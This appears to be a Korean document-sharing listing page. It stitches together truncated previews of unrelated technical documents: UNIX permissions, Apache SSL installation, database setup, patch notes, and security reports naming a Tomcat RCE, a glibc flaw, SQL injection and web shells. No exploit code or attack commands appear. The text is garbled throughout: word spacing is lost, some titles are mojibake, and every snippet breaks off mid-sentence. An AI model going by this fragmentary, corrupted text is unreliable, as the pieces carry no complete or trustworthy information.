More informationPowerPoint 프레젠테이션
UNIX 및실습 6 장. 파일접근권한관리하기 1 6 장. 파일접근권한관리하기 학습목표 파일의속성과접근권한의개념을이해한다. 접근권한을변경하는방법을익힌다. 접근권한을상속하고초기에설정하는방법을익힌다. 2 01. 파일의속성 다중사용자시스템의특징 여러사람이하나의시스템사용 다른사람이내파일을읽거나수정, 삭제할수없도록보안기능필요 다른사용자의무단접근으로부터자신의파일을보호하는기능으로파일에접근권한을부여하여권한만큼만파일을사용하도록함
More information목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate
ALTIBASE HDB 6.1.1.5.6 Patch Notes 목차 BUG-39240 offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG-41443 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate 한뒤, hash partition
More information1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation
1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation Board(EVB B/D) 들과 TCP/IP Protocol로연결되며, 연결된 TCP/IP
More information<3035303432365FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>
개 요 홈페이지 해킹 현황 및 사례 홈페이지 개발시 보안 취약점 및 대책 주요 애플리케이션 보안 대책 결 론 참고자료 [부록1] 개발 언어별 로그인 인증 프로세스 예제 [부록2] 대규모 홈페이지 변조 예방을 위한 권고(안) [부록3] 개인정보의 기술적 관리적 보호조치 기준(안) [부록4] 웹 보안관련 주요 사이트 리스트 7000 6,478 6000 5000
More informationPowerPoint 프레젠테이션
(Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet
More informationPowerPoint 프레젠테이션
Install the PDI on CentOS 2013.04 G L O B E P O I N T 1 Ⅰ linux 구성 II Pentaho Install 2013, Globepoint Inc. All Rights Reserved. 2 I. Linux 구성 2013, Globepoint Inc. All Rights Reserved. 3 IP 설정 1. 설정파일
More informationResearch & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W
Research & Technique Apache Tomcat RCE 취약점 (CVE-2019-0232) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE-2019-0232 취약점은 Windows 시스템의 Apache Tomcat 서버에서 enablecmdlinearguments
More informationAdobe Flash 취약점 분석 (CVE-2012-0754)
기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker
More information본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인
스마일서브 CLOUD_Virtual 워드프레스 설치 (WORDPRESS INSTALL) 스마일서브 가상화사업본부 Update. 2012. 09. 04. 본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게
More informationMicrosoft PowerPoint - 10Àå.ppt
10 장. DB 서버구축및운영 DBMS 의개념과용어를익힌다. 간단한 SQL 문법을학습한다. MySQL 서버를설치 / 운영한다. 관련용어 데이터 : 자료 테이블 : 데이터를표형식으로표현 레코드 : 테이블의행 필드또는컬럼 : 테이블의열 필드명 : 각필드의이름 데이터타입 : 각필드에입력할값의형식 학번이름주소연락처 관련용어 DB : 테이블의집합 DBMS : DB 들을관리하는소프트웨어
More informationDBMS & SQL Server Installation Database Laboratory
DBMS & 조교 _ 최윤영 } 데이터베이스연구실 (1314 호 ) } 문의사항은 cyy@hallym.ac.kr } 과제제출은 dbcyy1@gmail.com } 수업공지사항및자료는모두홈페이지에서확인 } dblab.hallym.ac.kr } 홈페이지 ID: 학번 } 홈페이지 PW:s123 2 차례 } } 설치전점검사항 } 설치단계별설명 3 Hallym Univ.
More informationEclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일
Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 Introduce Me!!! Job Jeju National University Student Ubuntu Korean Jeju Community Owner E-Mail: ned3y2k@hanmail.net Blog: http://ned3y2k.wo.tc Facebook: http://www.facebook.com/gyeongdae
More information제목 레이아웃
웹해킹이라고무시하는것들보소 2017.07.10 RUBIYA805[AT]GMAIL[DOT]COM SQL Injection 끝나지않은위협 2017.07.10 RUBIYA805[AT]GMAIL[DOT]COM Who am I 정도원 aka rubiya Penetration tester Web application bughuter Pwned 20+ wargame @kr_rubiya
More informationEDB 분석보고서 (04.06) ~ Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-
EDB 분석보고서 (04.06) 04.06.0~04.06.0 Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) 04년 06월에공개된 Exploit-DB의분석결과, SQL 공격에대한보고개수가가장많았습니다. 이와같은결과로부터여전히 SQL 이웹에서가장많이사용되는임을확인할수있습니다.
More informationMicrosoft PowerPoint 웹 연동 기술.pptx
웹프로그래밍및실습 ( g & Practice) 문양세강원대학교 IT 대학컴퓨터과학전공 URL 분석 (1/2) URL (Uniform Resource Locator) 프로토콜, 호스트, 포트, 경로, 비밀번호, User 등의정보를포함 예. http://kim:3759@www.hostname.com:80/doc/index.html URL 을속성별로분리하고자할경우
More informationuntitled
Push... 2 Push... 4 Push... 5 Push... 13 Push... 15 1 FORCS Co., LTD A Leader of Enterprise e-business Solution Push (Daemon ), Push Push Observer. Push., Observer. Session. Thread Thread. Observer ID.
More informationBEA_WebLogic.hwp
BEA WebLogic Server SSL 설정방법 - Ver 1.0-2008. 6 개정이력 버전개정일개정내용 Ver 1.0 2008 년 6 월 BEA WebLogic Server SSL 설명서최초작성 본문서는정보통신부 한국정보보호진흥원의 보안서버구축가이드 를참고하여작성되었습니다. 본문서내용의무단도용및사용을금합니다. < 목차 > 1. 개인키및 CSR 생성방법
More information1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아
LG U+ SMS/MMS 통합클라이언트 LG U+ SMS/MMS Client Simple Install Manual LG U+ SMS/MMS 통합클라이언트 - 1 - 간단설치매뉴얼 1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml
More informationMySQL-Ch10
10 Chapter.,,.,, MySQL. MySQL mysqld MySQL.,. MySQL. MySQL....,.,..,,.,. UNIX, MySQL. mysqladm mysqlgrp. MySQL 608 MySQL(2/e) Chapter 10 MySQL. 10.1 (,, ). UNIX MySQL, /usr/local/mysql/var, /usr/local/mysql/data,
More informationApache( 멀티도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201
Apache( 멀티도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 02-512-9375 1. 발급받으신인증서를해당 SSL 폴더에업로드또는저장합니다. 설명 : [$httpd_home] = Apache 디렉토리 [root@localhost httpd]# mkdir conf.d/ssl [root@localhost httpd]# cp
More informationPowerPoint 프레젠테이션
HTML5 웹프로그래밍입문 부록. 웹서버구축하기 1 목차 A.1 웹서버시스템 A.2 PHP 사용하기 A.3 데이터베이스연결하기 2 A.1 웹서버시스템 3 웹서버의구축 웹서버컴퓨터구축 웹서버소프트웨어설치및실행 아파치 (Apache) 웹서버가대표적 서버실행프로그램 HTML5 폼을전달받아처리 PHP, JSP, Python 등 데이터베이스시스템 서버측에데이터를저장및효율적관리
More informationPowerPoint 프레젠테이션
Deep Learning 작업환경조성 & 사용법 ISL 안재원 Ubuntu 설치 작업환경조성 접속방법 사용예시 2 - ISO file Download www.ubuntu.com Ubuntu 설치 3 - Make Booting USB Ubuntu 설치 http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/
More information/chroot/lib/ /chroot/etc/
구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어
More informationORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O
Orange for ORACLE V4.0 Installation Guide ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE...1 1....2 1.1...2 1.2...2 1.2.1...2 1.2.2 (Online Upgrade)...11 1.3 ORANGE CONFIGURATION ADMIN...12 1.3.1 Orange Configuration
More informationPowerPoint 프레젠테이션
Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi
More informationApache( 단일도메인 ) SSL 인증서갱신설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201
Apache( 단일도메인 ) SSL 인증서갱신설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 02-512-9375 1. 발급받으신인증서를해당서버폴더에업로드또는저장합니다. Apache source 및 package 구분아파치경로확인명령어 : ps ef grep httpd -source: /usr/local/apache [ 경로및 apache이름은상이할수있음
More information아래 항목은 최신( ) 이미지를 모두 제대로 설치하였을 때를 가정한다
공유기사용환경에서 MNC-V100 환경설정하기 다음설명은 AnyGate GW-400A (Http://www.anygate.co.kr) 를사용하는네트워크환경에서 MNC-V100 을연결하여사용하는법을설명합니다. 공유기내부네트워크환경설정공유기를사용하는환경에서공유기의설정을아래그림과같이설정하시면 MNC-V100의설정을변경하지않아도모비캠과연결할수있습니다. ( 공유기의환경을변경하기어려운경우에는
More information2-11Àå
Chapter 11 script kiddies.... 24.., script kiddies..,... 215 1 TCP/IP., TCP/IP. IP IP..,. IP. TCP/IP TCP( UDP).. 0 65535.., IP, IP,,. (, ). 216 Chapter 11 IP. IP.... 1024 (0 1023 ).... A B. B IP, A. IP,
More information1217 WebTrafMon II
(1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network
More information취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환
취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple
More information메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - qmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i qmail 1.03 spf-filter 년 6 월
메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - qmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i qmail 1.03 spf-filter 1.0 2016 년 6 월 목 차 I. 개요 1 1. SPF( 메일서버등록제) 란? 1 2. SPF 를이용한이메일인증절차 1 II. qmail, SPF 인증모듈설치
More informationSystem Recovery 사용자 매뉴얼
Samsung OS Recovery Solution 을이용하여간편하게 MagicInfo 의네트워크를설정하고시스템을백업및복원할수있습니다. 시스템시작시리모컨의 - 버튼이나키보드의 F3 키를연속해서누르면복구모드로진입한후 Samsung OS Recovery Solution 이실행됩니다. Samsung OS Recovery Solution 은키보드와리모컨을사용하여조작할수있습니다.
More informationMicrosoft PowerPoint - 07-EDU-Apache-9-1.ppt
1 아파치, HTTP, APM 소개 APM 설치하기 순천향대학교컴퓨터학부이상정 1 아파치, HTTP, APM 소개 순천향대학교컴퓨터학부이상정 2 소개 정식명칭 : Apache HTTP server 관련홈페이지 : www.apache.org GNU GPL 라이센스를통해무료로배포되는소프트웨어 현재 50% 이상의웹서버소프트웨어시장점유율 안정적으로동작 www.amazon.com이나
More informationuntitled
PowerBuilder 連 Microsoft SQL Server database PB10.0 PB9.0 若 Microsoft SQL Server 料 database Profile MSS 料 (Microsoft SQL Server database interface) 行了 PB10.0 了 Sybase 不 Microsoft 料 了 SQL Server 料 PB10.0
More information목차 1. 사전준비 mod_ssl OpenSSL 인증서파일 2. 주의사항 신규및갱신구분 CSR 직접생성여부 3. 인증서설치 httpd.conf 설정 httpd-ssl.conf 설정 갱신설치 서비스재시작 4. 확인및테스트 서비스구동확인 네트워크상태확인 방화벽확인 실제브라
APACHE INSTALL GUIDE 1.3.X VERSION -ANYCERT- 목차 1. 사전준비 mod_ssl OpenSSL 인증서파일 2. 주의사항 신규및갱신구분 CSR 직접생성여부 3. 인증서설치 httpd.conf 설정 httpd-ssl.conf 설정 갱신설치 서비스재시작 4. 확인및테스트 서비스구동확인 네트워크상태확인 방화벽확인 실제브라우저테스트
More informationCloud Friendly System Architecture
-Service Clients Administrator 1. -Service 구성도 : ( 좌측참고 ) LB(LoadBlancer) 2. -Service 개요 ucloud Virtual Router F/W Monitoring 개념 특징 적용가능분야 Server, WAS, DB 로구성되어 web service 를클라우드환경에서제공하기위한 service architecture
More information커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서
커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드
More informationApache( 멀티도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201
Apache( 멀티도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 02-512-9375 1. 발급받으신인증서를해당 SSL 폴더에업로드또는저장합니다. 설명 : [$Apache] = Apache 디렉토리. 소스버전의경우 [root@localhost Apache]# mkdir conf/ssl [root@localhost Apache]#
More informationPWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (
PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (http://ddns.hanwha-security.com) Step 1~5. Step, PC, DVR Step 1. Cable Step
More information망고100 보드로 놀아보자-4
망고 100 보드로놀아보자 -4 Minicom,tftp,nfs 설정,vnc 설정 minicom 설정 Minicom 설정 >#yum install minicom >#ls /dev/ttyusb* ># minicom s Minicom 설정 Serial Device :/dev/ttyusb0 Baudrate:115200 Hardware Flow control: NO
More informationHLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :
HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 : ios 3.0 이상 - 콘텐츠형식 : MP4 (H264,AAC ), MP3 * 디바이스별해상도,
More informationApache( 단일도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201
Apache( 단일도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 02-512-9375 1. 발급받으신인증서를해당서버폴더에업로드또는저장합니다. 설명 : [$Apache] = Apache 디렉토리. 소스버전의경우 [root@localhost Apache]# mkdir conf/ssl [root@localhost Apache]#
More informationMicrosoft Word _LT_리눅스 마운트강좌 mount 1편.doc
리눅스마운트강좌 mount 편 ---------------- 목차 ----------------------- 1 : 마운트 (mount) 란무엇을의미하며왜사용하는가? 그, 실질적인의미 2 : 리눅스에장착된 CD-ROM 데이터사용하기실무 3 : 실제로마운트하지않고마운트가능여부만을확인하기 4 : 특정파일시스템을읽기만가능하도록마운트하기 ( 쓰기금지마운트 ) 5 :
More information메일서버등록제(SPF) 인증기능적용안내서 (AIX - sendmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 AIX 5.3 sendmail spf-filter 년 6 월
메일서버등록제(SPF) 인증기능적용안내서 (AIX - sendmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 AIX 5.3 sendmail 8.13.4 spf-filter 1.0 2016 년 6 월 목 차 I. 개요 1 1. SPF( 메일서버등록제) 란? 1 2. SPF 를이용한이메일인증절차 1 II. sendmail, SPF
More information[Brochure] KOR_TunA
LG CNS LG CNS APM (TunA) LG CNS APM (TunA) 어플리케이션의 성능 개선을 위한 직관적이고 심플한 APM 솔루션 APM 이란? Application Performance Management 란? 사용자 관점 그리고 비즈니스 관점에서 실제 서비스되고 있는 어플리케이션의 성능 관리 체계입니다. 이를 위해서는 신속한 장애 지점 파악 /
More informationUSB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C
USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC Step 1~5. Step, PC, DVR Step 1. Cable Step
More information2009년 상반기 사업계획
웹 (WWW) 쉽게배우는데이터통신과컴퓨터네트워크 학습목표 웹서비스를위한클라이언트 - 서버구조를살펴본다. 웹서비스를지원하는 APM(Apache, PHP, MySQL) 의연동방식을이해한다. HTML 이지원하는기본태그명령어와프레임구조를이해한다. HTTP 의요청 / 응답메시지의구조와동작원리를이해한다. CGI 의원리를이해하고 FORM 태그로사용자입력을처리하는방식을알아본다.
More information운영체제실습_명령어
운영체제실습 리눅스네트워크기본개념및설정 서 기옥 Contents 네트워크용어정의 IP 주소 네트워크기본명령어 네트워크관리명령어 네트워크설정파일 telnet 서버설정 네트워크용어정의 네트워크 (Network) : 전자적으로데이터를주고받기위한목적으로연결된 2 개이상의컴퓨터시스템 IP 주소와 Ethernet 주소 IP 주소 : 네트워크에연결된시스템을구분하는소프트웨어적인주소
More informationPowerPoint 프레젠테이션
Ubuntu 13.04 설치매뉴얼 작성일자 : 2013.05 cafe24 IDC 사업팀 설치이미지부팅 1. Ubuntu CD(DVD) 를넣고해당미디어로부팅을시킵니다. 2. 처음설치화면에서한국어를선택합니다. Ubuntu 설치 1. 우분투서버설치를선택합니다. 번역안내 1. 한국어설정에대한안내화면이출력됩니다. 아직은번역이완벽하지않다는내용임으로 무시하고 < 예 >
More information단계
본문서에서는 Tibero RDBMS 에서제공하는 Oracle DB Link 를위한 gateway 설치및설정방법과 Oracle DB Link 사용법을소개한다. Contents 1. TIBERO TO ORACLE DB LINK 개요... 3 1.1. GATEWAY 란... 3 1.2. ORACLE GATEWAY... 3 1.3. GATEWAY 디렉터리구조...
More information1. 발급받으신인증서를해당서버폴더에업로드또는저장합니다. 설명 : [$Apache] = Apache 디렉토리. 소스버전의경우 Apache]# mkdir conf/ssl Apache]# cp
Apache( 단일도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 02-512-9375 1. 발급받으신인증서를해당서버폴더에업로드또는저장합니다. 설명 : [$Apache] = Apache 디렉토리. 소스버전의경우 [root@localhost Apache]# mkdir conf/ssl [root@localhost Apache]#
More information메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - postfix) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i postfix spf-filter 년 6 월
메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - postfix) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i postfix 2.7.1 spf-filter 1.0 2016 년 6 월 목 차 I. 개요 1 1. SPF( 메일서버등록제) 란? 1 2. SPF 를이용한이메일인증절차 1 II. postfix,
More informationRHEV 2.2 인증서 만료 확인 및 갱신
2018/09/28 03:56 1/2 목차... 1 인증서 확인... 1 인증서 종류와 확인... 4 RHEVM CA... 5 FQDN 개인 인증서... 5 레드햇 인증서 - 코드 서명 인증서... 6 호스트 인증... 7 참고사항... 8 관련링크... 8 AllThatLinux! - http://allthatlinux.com/dokuwiki/ rhev_2.2_
More information사용자계정관리 1. 사용자계정관리 사용자 (user), 그룹 (group) u 다중사용자시스템 (Multi-User System) - 1 대의시스템을동시에여러사람이접속하여쓸수있게하는시스템 u 사용자 (user) - 시스템관리자 : root (=Super user) -
운영체제실습 사용자계정관리 2017. 6 표월성 wspyo74@naver.com cherub.sungkyul.ac.kr 목차 Ⅰ. 사용자계정관리 1. 사용자계정관리 2. 그룹관리 3. 사용자계정관련파일 4. 패스워드관리 5. 사용자신분확인 사용자계정관리 1. 사용자계정관리 사용자 (user), 그룹 (group) u 다중사용자시스템 (Multi-User System)
More information소프트웨어설치 1. 소프트웨어설치및제거 ( 소스코드 ) 소스코드컴파일을이용한 S/W 설치 1. 소스코드다운로드 - 예 ) httpd tar.gz - 압축해제 : #tar xzvf httpd tar.gz - INSTALL 또는 README파일참조
운영체제실습 소프트웨어관리 2016. 6 표월성 passwd74@naver.com cherub.sungkyul.ac.kr 목차 Ⅶ. 소프트웨어관리 1. 소스코드컴파일을이용한소프트웨어설치 2. RPM패키지를이용한소프트웨어설치 3. YUM패키지를이용한소프트웨어설치 4. APT패키지를이용한소프트웨어설치 5. Telnet서버설치 6. ssh서버 (openssh) 설치
More informationuntitled
웹쉘의현황및분석 2007. 2. 본보고서의전부나일부를인용시반드시 [ 자료 : 한국정보보호진흥원 (KISA)] 를명시하여주시기바랍니다. 1. 개요 일반적으로웹서비스에는게시판이나자료실과같은파일을첨부하는기능을포함한다. 이때 txt, jpg, doc와같은데이터파일종류이외에악의적으로제작된스크립트파일인웹쉘을업로드하여해킹하는사고가빈번히발생하고있다. 이와같이서버명령을실행할수있는
More informationIP 심화 라우팅프로토콜적용시 라우팅테이블에서 이니셜이있는네트워크를설정하는것 : onnected 직접연결된네트워크를의미한다. 그러므로라우팅은 나는이런네트워크와연결되어있다. 를직접연결된라우터들에게알려주는것 1>en 1#conf t 1(config)#router rip 1
IP 심화 º 각 P 의게이트웨이는해당네트워크의마지막주소를사용한다. - P1 (210.220.10.1/26) 의게이트웨이 (5의 Fa0/0) : 210.220.10.63 /26 = 255.255.255.192 호스트비트수 : 32-26 = 6 비트 => = 64 그러므로 P1의 IP 210.220.10.1 중서브넷마스크에의거 26비트는변함이없고, 나머지 6비트가호스트비트로변하므로
More informationApache( 멀티도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201
Apache( 멀티도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 02-512-9375 1. 발급받으신인증서를해당 SSL 폴더에업로드또는저장합니다. Apache source 및 package 구분아파치경로확인명령어 : ps ef grep httpd -source: /usr/local/apache [ 경로및 apache이름은상이할수있음
More informationSena Device Server Serial/IP TM Version
Sena Device Server Serial/IP TM Version 1.0.0 2005. 3. 7. Release Note Revision Date Name Description V1.0.0 2005-03-7 HJ Jeon Serial/IP 4.3.2 ( ) 210 137-130, : (02) 573-5422 : (02) 573-7710 email: support@sena.com
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include
More informationMicrosoft PowerPoint - comp_prac_081223_2.pptx
Computer Programming Practice (2008 Winter) Practice 2 기본 Unix/Linux 명령어숙지 2008. 12. 23 Contents Linux commands Basic commands File and Directory User Data Filtering Process Etc Conclusion & Recommended
More informationApache( 단일도메인 ) SSL 인증서신규설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201
Apache( 단일도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 02-512-9375 1. 발급받으신인증서를해당서버폴더에업로드또는저장합니다. Apache source 및 package 구분아파치경로확인명령어 : ps ef grep httpd -source: /usr/local/apache [ 경로및 apache이름은상이할수있음
More informationPowerPoint 프레젠테이션
Web Browser Web Server ( ) MS Explorer 5.0 WEB Server MS-SQL HTML Image Multimedia IIS Application Web Server ASP ASP platform Admin Web Based ASP Platform Manager Any Platform ASP : Application Service
More information1. 발급받으신인증서를해당 SSL 폴더에업로드또는저장합니다. Apache source 및 package 구분아파치경로확인명령어 : ps ef grep httpd -source: /usr/local/apache [ 경로및 apache이름은상이할수있음 ] -> 확인경로에설
Apache( 멀티도메인 ) SSL 인증서갱신설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 02-512-9375 1. 발급받으신인증서를해당 SSL 폴더에업로드또는저장합니다. Apache source 및 package 구분아파치경로확인명령어 : ps ef grep httpd -source: /usr/local/apache [ 경로및 apache이름은상이할수있음
More informationvRealize Automation용 VMware Remote Console - VMware
vrealize Automation 용 VMware Remote Console VMware Remote Console 9.0 이문서는새버전으로교체되기전까지나열된각제품버전및모든이후버전을지원합니다. 이문서에대한최신버전을확인하려면 http://www.vmware.com/kr/support/pubs 를참조하십시오. KO-002230-00 vrealize Automation
More informationSPECweb Install
SPECweb2005 Install & Configure Guide in Linux(fedora 13) Version # 작성일작성자 E-mail 설명 1.00 2011.3.3 김호연 hykim@q.ssu.ac.kr 첫버전작성함 본문서는 SPECweb2005를설치하고구동하는과정을설명합니다. 본문서의목적은, 어떠한시행착오없이 SPECweb2005을보다쉽게사용할수있도록함에있습니다.
More informationTTA Journal No.157_서체변경.indd
표준 시험인증 기술 동향 FIDO(Fast IDentity Online) 생체 인증 기술 표준화 동향 이동기 TTA 모바일응용서비스 프로젝트그룹(PG910) 의장 SK텔레콤 NIC 담당 매니저 76 l 2015 01/02 PASSWORDLESS EXPERIENCE (UAF standards) ONLINE AUTH REQUEST LOCAL DEVICE AUTH
More informationSplentec V-WORM Quick Installation Guide Version: 1.0 Contact Information 올리브텍 주소 : 경기도성남시분당구구미로 11 ( 포인트타운 701호 ) URL: E-M
Splentec V-WORM Quick Installation Guide Version: 1.0 Contact Information 올리브텍 주소 : 경기도성남시분당구구미로 11 ( 포인트타운 701호 ) URL: http://www.olivetech.co.kr E-Mail: tech@olivetech.co.kr TEL: 031-726-4217 FAX: 031-726-4219
More information